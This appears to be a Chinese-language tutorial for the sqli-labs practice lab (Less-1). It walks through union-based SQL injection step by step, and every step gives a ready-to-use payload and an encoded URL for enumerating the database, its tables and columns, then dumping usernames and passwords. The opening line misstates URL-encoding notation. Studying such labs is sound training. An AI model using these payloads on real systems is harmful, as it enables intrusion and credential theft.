url编码:空格为20%,'为27%,#为23%
字符型注入的原理和判断方法在最下面的附录里:
第一步:
?id=999999999' union select 1,2,database()#
id设置为很大的原因:如果设置id为1,那么mysql确实查出了两条结果(即id=1查询到的结果和database查询到的结果),但是PHP代码决定了该页面只显示一行记录,所有让id等于一个很大的值或者-1,使得id查询不到结果,就只会显示第二条查询语句的结果
database()前面加了1,2,的原因请看附录
http://localhost/sqli-labs-master/Less-1/?id=999999999%27%20union%20select%201,2,database()%20%23
获得库名security:database()可获取当前使用的库名
第二步:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
将某一列数据连成字符串输出而不是输出表格形式:select group_concat(column_name) from table_name;
http://localhost/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27%23
获得security的表名:
information_schema库下的
tables表下的
table_name列
为所有数据库表名
利用table_schema=security定位
第三步:
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#
http://localhost/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%23
获取security下的users的列名:
information_schema库下的
columns表下的
column_name列
为所有数据库列名
利用table_name=user定位
第四步:
?id=-1' union select 1,2,group_concat(username,0x3a,password) from security.users#
0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ‘:’
http://localhost/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,group_concat(username,0x3a,password)%20from%20security.users%20%23
获取security下的users下的账号密码:
security库下的
users表下的
username列和password列
分别为账号和密码
附录:
字符型注入的原理和判断方法:
配合缩小页面ctrl+滚轮食用(不要打我)
database()前面加了1,2,的原因:
使用union时union左右两边的查询语句查询到的列数必须相同